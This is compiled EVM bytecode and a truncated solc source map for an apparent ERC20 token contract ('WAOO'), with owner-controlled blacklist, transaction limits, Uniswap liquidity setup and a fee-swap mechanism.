0x6080604052600436106101395760003560e01c8063751039fc116100ab5780639e78fb4f1161006f5780639e78fb4f14610303578063a9059cbb14610318578063bf474bed14610338578063c9567bf91461034d578063d34628cc14610362578063dd62ed3e1461038257610140565b8063751039fc146102a25780637d1db4a5146102b75780638da5cb5b146102cc5780638f9a55c0146102ee57806395d89b411461014557610140565b806323b872dd116100fd57806323b872dd146101eb578063313ce5671461020b57806331c2d8471461022d5780633bbac5791461024d57806370a082311461026d578063715018a61461028d57610140565b806306fdde0314610145578063095ea7b3146101705780630faee56f1461019d57806318160ddd146101bf5780631fbe1979146101d457610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103a2565b60405161016791906118cf565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611704565b6103c0565b60405161016791906118c4565b3480156101a957600080fd5b506101b26103de565b6040516101679190611bcb565b3480156101cb57600080fd5b506101b26103e4565b3480156101e057600080fd5b506101e9610405565b005b3480156101f757600080fd5b506101906102063660046116c4565b61044e565b34801561021757600080fd5b506102206104d6565b6040516101679190611c44565b34801561023957600080fd5b506101e961024836600461172f565b6104db565b34801561025957600080fd5b50610190610268366004611654565b61058a565b34801561027957600080fd5b506101b2610288366004611654565b6105ac565b34801561029957600080fd5b506101e96105c7565b3480156102ae57600080fd5b506101e9610646565b3480156102c357600080fd5b506101b2610707565b3480156102d857600080fd5b506102e161070d565b6040516101679190611842565b3480156102fa57600080fd5b506101b261071c565b34801561030f57600080fd5b506101e9610722565b34801561032457600080fd5b50610190610333366004611704565b610954565b34801561034457600080fd5b506101b2610968565b34801561035957600080fd5b506101e961096e565b34801561036e57600080fd5b506101e961037d36600461172f565b610b1d565b34801561038e57600080fd5b506101b261039d36600461168c565b610bc8565b60408051808201909152600481526357414f4f60e01b602082015290565b60006103d46103cd610bf3565b8484610bf7565b5060015b92915050565b60125481565b60006103f26009600a611cd0565b61040090633b9aca00611da1565b905090565b61040d610bf3565b6000546001600160a01b039081169116146104435760405162461bcd60e51b815260040161043a90611a56565b60405180910390fd5b61044c47610cab565b565b600061045b848484610ce5565b6104cb84610467610bf3565b6104c685604051806060016040528060288152602001611e37602891396001600160a01b038a166000908152600260205260408120906104a5610bf3565b6001600160a01b031681526020810191909152604001600020549190611106565b610bf7565b5060015b9392505050565b600990565b6104e3610bf3565b6000546001600160a01b039081169116146105105760405162461bcd60e51b815260040161043a90611a56565b60005b81518110156105865760006004600084848151811061054257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057e81611dd7565b915050610513565b5050565b6001600160a01b03811660009081526004602052604090205460ff165b919050565b6001600160a01b031660009081526001602052604090205490565b6105cf610bf3565b6000546001600160a01b039081169116146105fc5760405162461bcd60e51b815260040161043a90611a56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61064e610bf3565b6000546001600160a01b0390811691161461067b5760405162461bcd60e51b815260040161043a90611a56565b6106876009600a611cd0565b61069590633b9aca00611da1565b600f556106a46009600a611cd0565b6106b290633b9aca00611da1565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e26009600a611cd0565b6106f090633b9aca00611da1565b6040516106fd9190611bcb565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b61072a610bf3565b6000546001600160a01b039081169116146107575760405162461bcd60e51b815260040161043a90611a56565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107a89030906001600160a01b031661079a6009600a611cd0565b6104c690633b9aca00611da1565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611670565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611670565b6040518363ffffffff1660e01b81526004016108e0929190611856565b602060405180830381600087803b1580156108fa57600080fd5b505af115801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611670565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103d4610961610bf3565b8484610ce5565b60115481565b610976610bf3565b6000546001600160a01b039081169116146109a35760405162461bcd60e51b815260040161043a90611a56565b601454600160a01b900460ff16156109cd5760405162461bcd60e51b815260040161043a90611b94565b6013546001600160a01b031663f305d71947306109e9816105ac565b6000806109f461070d565b426040518863ffffffff1660e01b8152600401610a1696959493929190611889565b6060604051808303818588803b158015610a2f57600080fd5b505af1158015610a43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a689190611815565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b392610aa292169060001990600401611870565b602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af491906117f5565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17905543600655565b610b25610bf3565b6000546001600160a01b03908116911614610b525760405162461bcd60e51b815260040161043a90611a56565b60005b815181101561058657600160046000848481518110610b8457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610bc081611dd7565b915050610b55565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610c1d5760405162461bcd60e51b815260040161043a90611b50565b6001600160a01b038216610c435760405162461bcd60e51b815260040161043a9061199c565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c9e908590611bcb565b60405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610586573d6000803e3d6000fd5b6001600160a01b038316610d0b5760405162461bcd60e51b815260040161043a90611ad4565b6001600160a01b038216610d315760405162461bcd60e51b815260040161043a90611922565b60008111610d515760405162461bcd60e51b815260040161043a90611a8b565b601454600160b01b900460ff161580610d735750601454600160a81b900460ff165b15610e2b576001600160a01b038316600090815260016020526040902054610d9c908290611dc0565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dcc908290611c52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1e908590611bcb565b60405180910390a3611101565b610e3361070d565b6001600160a01b0316836001600160a01b031614158015610e6d5750610e5761070d565b6001600160a01b0316826001600160a01b031614155b156110f6576001600160a01b03831660009081526004602052604090205460ff16158015610eb457506001600160a01b03821660009081526004602052604090205460ff16155b610ebd57600080fd5b6014546001600160a01b038481169116148015610ee857506013546001600160a01b03838116911614155b8015610f0d57506001600160a01b03821660009081526003602052604090205460ff16155b15610fa857600f54811115610f345760405162461bcd60e51b815260040161043a90611965565b60105481610f41846105ac565b610f4b9190611c52565b1115610f695760405162461bcd60e51b815260040161043a90611b19565b436006546003610f799190611c52565b1115610f9257610f8882611140565b15610f9257600080fd5b600e8054906000610fa283611dd7565b91905055505b6014546001600160a01b03838116911614801590610fdf57506001600160a01b03821660009081526003602052604090205460ff16155b156110195760105481610ff1846105ac565b610ffb9190611c52565b11156110195760405162461bcd60e51b815260040161043a90611b19565b6000611024306105ac565b601454909150600160a81b900460ff1615801561104e57506014546001600160a01b038481169116145b80156110635750601454600160b01b900460ff165b80156110725750600d54600e54115b801561109757506001600160a01b03841660009081526003602052604090205460ff16155b80156110bc57506001600160a01b03831660009081526003602052604090205460ff16155b156110f4576011548111156110e8576110e86110e3836110de84601254611146565b611146565b61115b565b476110f247610cab565b505b505b611101838383611300565b505050565b6000818484111561112a5760405162461bcd60e51b815260040161043a91906118cf565b5060006111378486611dc0565b95945050505050565b3b151590565b600081831161115557826104cf565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120557600080fd5b505afa158015611219573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123d9190611670565b8160018151811061125e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546112849130911684610bf7565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bd908590600090869030904290600401611bd4565b600060405180830381600087803b1580156112d757600080fd5b505af11580156112eb573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061130e8583856114d8565b905061133c6064611336600b54600e541161132b5760075461132f565b6009545b86906114f8565b9061153d565b6014549092506001600160a01b03858116911614801561136557506001600160a01b0385163014155b156113925761138f6064611336600c54600e54116113855760085461132f565b600a5486906114f8565b91505b811561140a57306000908152600160205260409020546113b2908361157f565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611401908690611bcb565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461142d90826115ae565b6001600160a01b03861660009081526001602052604090205561147261145384846115ae565b6001600160a01b0386166000908152600160205260409020549061157f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114bc86866115ae565b6040516114c99190611bcb565b60405180910390a35050505050565b60006114e484846115f0565b92506114f08383611da1565b949350505050565b600082611507575060006103d8565b60006115138385611da1565b9050826115208583611c6a565b146104cf5760405162461bcd60e51b815260040161043a90611a15565b60006104cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161b565b60008061158c8385611c52565b9050838110156104cf5760405162461bcd60e51b815260040161043a906119de565b60006104cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611106565b6001600160a01b03821660009081526003602052604081205460ff16611155576104cf600183611c52565b6000818361163c5760405162461bcd60e51b815260040161043a91906118cf565b5060006111378486611c6a565b80356105a781611e1e565b600060208284031215611665578081fd5b81356104cf81611e1e565b600060208284031215611681578081fd5b81516104cf81611e1e565b6000806040838503121561169e578081fd5b82356116a981611e1e565b915060208301356116b981611e1e565b809150509250929050565b6000806000606084860312156116d8578081fd5b83356116e381611e1e565b925060208401356116f381611e1e565b929592945050506040919091013590565b60008060408385031215611716578182fd5b823561172181611e1e565b946020939093013593505050565b60006020808385031215611741578182fd5b823567ffffffffffffffff80821115611758578384fd5b818501915085601f83011261176b578384fd5b81358181111561177d5761177d611e08565b838102604051601f19603f830116810181811085821117156117a1576117a1611e08565b604052828152858101935084860182860187018a10156117bf578788fd5b8795505b838610156117e8576117d481611649565b8552600195909501949386019386016117c3565b5098975050505050505050565b600060208284031215611806578081fd5b815180151581146104cf578182fd5b600080600060608486031215611829578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156118fb578581018301518582016040015282016118df565b8181111561190c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c235784516001600160a01b031683529383019391830191600101611bfe565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611c6557611c65611df2565b500190565b600082611c8557634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611c9c5750611cc7565b818704821115611cae57611cae611df2565b80861615611cbb57918102915b9490941c938002611c8d565b94509492505050565b60006104cf60001960ff851684600082611cec575060016104cf565b81611cf9575060006104cf565b8160018114611d0f5760028114611d1957611d46565b60019150506104cf565b60ff841115611d2a57611d2a611df2565b6001841b915084821115611d4057611d40611df2565b506104cf565b5060208310610133831016604e8410600b8410161715611d79575081810a83811115611d7457611d74611df2565b6104cf565b611d868484846001611c8a565b808604821115611d9857611d98611df2565b02949350505050565b6000816000190483118215151615611dbb57611dbb611df2565b500290565b600082821015611dd257611dd2611df2565b500390565b6000600019821415611deb57611deb611df2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611e3357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095662eb4226c8703c14d4977e8523881fef78008e536bd91f035d9044a8b6bc064736f6c63430008010033
Deployed Bytecode Sourcemap
4094:10018:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5978:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6861:186;;;;;;;;;;-1:-1:-1;6861:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5217:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6255:95::-;;;;;;;;;;;;;:::i;13490:91::-;;;;;;;;;;;;;:::i;:::-;;7055:446;;;;;;;;;;-1:-1:-1;7055:446:0;;;;;:::i;:::-;;:::i;6164:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;12294:168::-;;;;;;;;;;-1:-1:-1;12294:168:0;;;;;:::i;:::-;;:::i;12470:86::-;;;;;;;;;;-1:-1:-1;12470:86:0;;;;;:::i;:::-;;:::i;6358:119::-;;;;;;;;;;-1:-1:-1;6358:119:0;;;;;:::i;:::-;;:::i;3939:148::-;;;;;;;;;;;;;:::i;11851:162::-;;;;;;;;;;;;;:::i;5027:56::-;;;;;;;;;;;;;:::i;3725:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5090:58::-;;;;;;;;;;;;;:::i;12564:391::-;;;;;;;;;;;;;:::i;6485:192::-;;;;;;;;;;-1:-1:-1;6485:192:0;;;;;:::i;:::-;;:::i;5155:55::-;;;;;;;;;;;;;:::i;12963:519::-;;;;;;;;;;;;;:::i;12122:164::-;;;;;;;;;;-1:-1:-1;12122:164:0;;;;;:::i;:::-;;:::i;6685:168::-;;;;;;;;;;-1:-1:-1;6685:168:0;;;;;:::i;:::-;;:::i;5978:83::-;6048:5;;;;;;;;;;;;-1:-1:-1;;;6048:5:0;;;;5978:83;:::o;6861:186::-;6961:4;6978:39;6987:12;:10;:12::i;:::-;7001:7;7010:6;6978:8;:39::i;:::-;-1:-1:-1;7035:4:0;6861:186;;;;;:::o;5217:55::-;;;;:::o;6255:95::-;6308:7;4899:15;4843:1;4899:2;:15;:::i;:::-;4886:28;;:10;:28;:::i;:::-;6328:14;;6255:95;:::o;13490:91::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;;;;;;;;;13538:35:::1;13551:21;13538:12;:35::i;:::-;13490:91::o:0;7055:446::-;7187:4;7204:36;7214:6;7222:9;7233:6;7204:9;:36::i;:::-;7251:220;7274:6;7295:12;:10;:12::i;:::-;7322:138;7378:6;7322:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7322:19:0;;;;;;:11;:19;;;;;;7342:12;:10;:12::i;:::-;-1:-1:-1;;;;;7322:33:0;;;;;;;;;;;;-1:-1:-1;7322:33:0;;;:138;:37;:138::i;:::-;7251:8;:220::i;:::-;-1:-1:-1;7489:4:0;7055:446;;;;;;:::o;6164:83::-;4843:1;6164:83;:::o;12294:168::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;12369:6:::1;12364:91;12385:6;:13;12381:1;:17;12364:91;;;12438:5;12420:4;:15;12425:6;12432:1;12425:9;;;;;;-1:-1:-1::0;;;12425:9:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12420:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12420:15:0;:23;;-1:-1:-1;;12420:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12400:3;::::1;::::0;::::1;:::i;:::-;;;;12364:91;;;;12294:168:::0;:::o;12470:86::-;-1:-1:-1;;;;;12541:7:0;;12517:4;12541:7;;;:4;:7;;;;;;;;12470:86;;;;:::o;6358:119::-;-1:-1:-1;;;;;6451:18:0;6424:7;6451:18;;;:9;:18;;;;;;;6358:119::o;3939:148::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;4046:1:::1;4030:6:::0;;4009:40:::1;::::0;-1:-1:-1;;;;;4030:6:0;;::::1;::::0;4009:40:::1;::::0;4046:1;;4009:40:::1;4077:1;4060:19:::0;;-1:-1:-1;;;;;;4060:19:0::1;::::0;;3939:148::o;11851:162::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;4899:15:::1;4843:1;4899:2;:15;:::i;:::-;4886:28;::::0;:10:::1;:28;:::i;:::-;11905:12;:22:::0;4899:15:::1;4843:1;4899:2;:15;:::i;:::-;4886:28;::::0;:10:::1;:28;:::i;:::-;11938:14;:24:::0;11978:27:::1;4899:15;4843:1;4899:2;:15;:::i;:::-;4886:28;::::0;:10:::1;:28;:::i;:::-;11978:27;;;;;;:::i;:::-;;;;;;;;11851:162::o:0;5027:56::-;;;;:::o;3725:79::-;3763:7;3790:6;-1:-1:-1;;;;;3790:6:0;3725:79;:::o;5090:58::-;;;;:::o;12564:391::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;12616:15:::1;:104:::0;;-1:-1:-1;;;;;;12616:104:0::1;12667:42;12616:104;::::0;;;;12731:58:::1;::::0;12748:4:::1;::::0;-1:-1:-1;;;;;12763:15:0::1;4899;4843:1;4899:2;:15;:::i;:::-;4886:28;::::0;:10:::1;:28;:::i;12731:58::-;12834:15;;;;;;;;;-1:-1:-1::0;;;;;12834:15:0::1;-1:-1:-1::0;;;;;12834:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12816:55:0::1;;12894:4;12914:15;;;;;;;;;-1:-1:-1::0;;;;;12914:15:0::1;-1:-1:-1::0;;;;;12914:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12816:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12800:13;:147:::0;;-1:-1:-1;;;;;;12800:147:0::1;-1:-1:-1::0;;;;;12800:147:0;;;::::1;::::0;;;::::1;::::0;;12564:391::o;6485:192::-;6588:4;6605:42;6615:12;:10;:12::i;:::-;6629:9;6640:6;6605:9;:42::i;5155:55::-;;;;:::o;12963:519::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;13025:11:::1;::::0;-1:-1:-1;;;13025:11:0;::::1;;;13024:12;13016:48;;;;-1:-1:-1::0;;;13016:48:0::1;;;;;;;:::i;:::-;13075:15;::::0;-1:-1:-1;;;;;13075:15:0::1;:31;13114:21;13159:4;13179:24;13159:4:::0;13179:9:::1;:24::i;:::-;13218:1;13234::::0;13250:7:::1;:5;:7::i;:::-;13272:15;13075:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13316:13:0::1;::::0;13347:15:::1;::::0;13309:71:::1;::::0;-1:-1:-1;;;13309:71:0;;-1:-1:-1;;;;;13316:13:0;;::::1;::::0;-1:-1:-1;13309:29:0::1;::::0;:71:::1;::::0;13347:15:::1;::::0;-1:-1:-1;;13365:14:0;13309:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13391:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13391:18:0;;::::1;-1:-1:-1::0;;;13391:18:0::1;13420;-1:-1:-1::0;;;13420:18:0::1;::::0;;13462:12:::1;13449:10;:25:::0;12963:519::o;12122:164::-;3862:12;:10;:12::i;:::-;3852:6;;-1:-1:-1;;;;;3852:6:0;;;:22;;;3844:67;;;;-1:-1:-1;;;3844:67:0;;;;;;;:::i;:::-;12196:6:::1;12191:88;12212:5;:12;12208:1;:16;12191:88;;;12263:4;12246;:14;12251:5;12257:1;12251:8;;;;;;-1:-1:-1::0;;;12251:8:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12246:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12246:14:0;:21;;-1:-1:-1;;12246:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12226:3;::::1;::::0;::::1;:::i;:::-;;;;12191:88;;6685:168:::0;-1:-1:-1;;;;;6818:18:0;;;6791:7;6818:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6685:168::o;458:98::-;538:10;458:98;:::o;7509:335::-;-1:-1:-1;;;;;7602:19:0;;7594:68;;;;-1:-1:-1;;;7594:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7681:21:0;;7673:68;;;;-1:-1:-1;;;7673:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7752:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7804:32;;;;;7782:6;;7804:32;:::i;:::-;;;;;;;;7509:335;;;:::o;12021:93::-;12078:11;;:28;;-1:-1:-1;;;;;12078:11:0;;;;:28;;;;;12099:6;;12078:11;:28;:11;:28;12099:6;12078:11;:28;;;;;;;;;;;;;;;;;;;8833:2302;-1:-1:-1;;;;;8921:18:0;;8913:68;;;;-1:-1:-1;;;8913:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9000:16:0;;8992:64;;;;-1:-1:-1;;;8992:64:0;;;;;;;:::i;:::-;9084:1;9075:6;:10;9067:64;;;;-1:-1:-1;;;9067:64:0;;;;;;;:::i;:::-;9149:11;;-1:-1:-1;;;9149:11:0;;;;9148:12;;:22;;-1:-1:-1;9164:6:0;;-1:-1:-1;;;9164:6:0;;;;9148:22;9144:217;;;-1:-1:-1;;;;;9205:15:0;;;;;;:9;:15;;;;;;:24;;9223:6;;9205:24;:::i;:::-;-1:-1:-1;;;;;9187:15:0;;;;;;;:9;:15;;;;;;:42;;;;9260:13;;;;;;;:22;;9276:6;;9260:22;:::i;:::-;-1:-1:-1;;;;;9244:13:0;;;;;;;:9;:13;;;;;;;:38;;;;9302:26;;;;;;;;;;9321:6;;9302:26;:::i;:::-;;;;;;;;9343:7;;9144:217;9385:7;:5;:7::i;:::-;-1:-1:-1;;;;;9377:15:0;:4;-1:-1:-1;;;;;9377:15:0;;;:32;;;;;9402:7;:5;:7::i;:::-;-1:-1:-1;;;;;9396:13:0;:2;-1:-1:-1;;;;;9396:13:0;;;9377:32;9373:1712;;;-1:-1:-1;;;;;9435:10:0;;;;;;:4;:10;;;;;;;;9434:11;:24;;;;-1:-1:-1;;;;;;9450:8:0;;;;;;:4;:8;;;;;;;;9449:9;9434:24;9426:33;;;;;;9506:13;;-1:-1:-1;;;;;9498:21:0;;;9506:13;;9498:21;:72;;;;-1:-1:-1;9554:15:0;;-1:-1:-1;;;;;9540:30:0;;;9554:15;;9540:30;;9498:72;:116;;;;-1:-1:-1;;;;;;9592:22:0;;;;;;:18;:22;;;;;;;;9591:23;9498:116;9476:560;;;9667:12;;9657:6;:22;;9649:60;;;;-1:-1:-1;;;9649:60:0;;;;;;;:::i;:::-;9784:14;;9774:6;9758:13;9768:2;9758:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9728:140;;;;-1:-1:-1;;;9728:140:0;;;;;;;:::i;:::-;9910:12;9893:10;;9906:1;9893:14;;;;:::i;:::-;:29;9889:102;;;9956:14;9967:2;9956:10;:14::i;:::-;9955:15;9947:24;;;;;;10009:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9476:560;10062:13;;-1:-1:-1;;;;;10056:19:0;;;10062:13;;10056:19;;;;:46;;-1:-1:-1;;;;;;10080:22:0;;;;;;:18;:22;;;;;;;;10079:23;10056:46;10052:227;;;10179:14;;10169:6;10153:13;10163:2;10153:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;10123:140;;;;-1:-1:-1;;;10123:140:0;;;;;;;:::i;:::-;10295:28;10326:24;10344:4;10326:9;:24::i;:::-;10388:6;;10295:55;;-1:-1:-1;;;;10388:6:0;;;;10387:7;:47;;;;-1:-1:-1;10421:13:0;;-1:-1:-1;;;;;10415:19:0;;;10421:13;;10415:19;10387:47;:79;;;;-1:-1:-1;10455:11:0;;-1:-1:-1;;;10455:11:0;;;;10387:79;:130;;;;;10499:18;;10487:9;;:30;10387:130;:176;;;;-1:-1:-1;;;;;;10539:24:0;;;;;;:18;:24;;;;;;;;10538:25;10387:176;:220;;;;-1:-1:-1;;;;;;10585:22:0;;;;;;:18;:22;;;;;;;;10584:23;10387:220;10365:709;;;10668:17;;10645:20;:40;10642:205;;;10710:117;10753:51;10757:6;10765:38;10769:20;10791:11;;10765:3;:38::i;:::-;10753:3;:51::i;:::-;10710:16;:117::i;:::-;10912:21;11004:35;11017:21;11004:12;:35::i;:::-;10365:709;;9373:1712;;11097:30;11110:4;11116:2;11120:6;11097:12;:30::i;:::-;8833:2302;;;:::o;2527:224::-;2647:7;2683:12;2675:6;;;;2667:29;;;;-1:-1:-1;;;2667:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2707:9:0;2719:5;2723:1;2719;:5;:::i;:::-;2707:17;2527:224;-1:-1:-1;;;;;2527:224:0:o;11648:195::-;11779:20;11827:8;;;11648:195::o;11533:107::-;11590:7;11622:1;11618;:5;11617:15;;11631:1;11617:15;;;-1:-1:-1;11627:1:0;11610:22;-1:-1:-1;11533:107:0:o;13626:483::-;5556:6;:13;;-1:-1:-1;;;;5556:13:0;-1:-1:-1;;;5556:13:0;;;13728:16:::1;::::0;;13742:1:::1;13728:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13728:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13728:16:0::1;13704:40;;13773:4;13755;13760:1;13755:7;;;;;;-1:-1:-1::0;;;13755:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13755:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13799:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13799:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13755:7;;13799:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13789:4;13794:1;13789:7;;;;;;-1:-1:-1::0;;;13789:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13789:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13864:15:::1;::::0;13832:62:::1;::::0;13849:4:::1;::::0;13864:15:::1;13882:11:::0;13832:8:::1;:62::i;:::-;13905:15;::::0;:196:::1;::::0;-1:-1:-1;;;13905:196:0;;-1:-1:-1;;;;;13905:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13986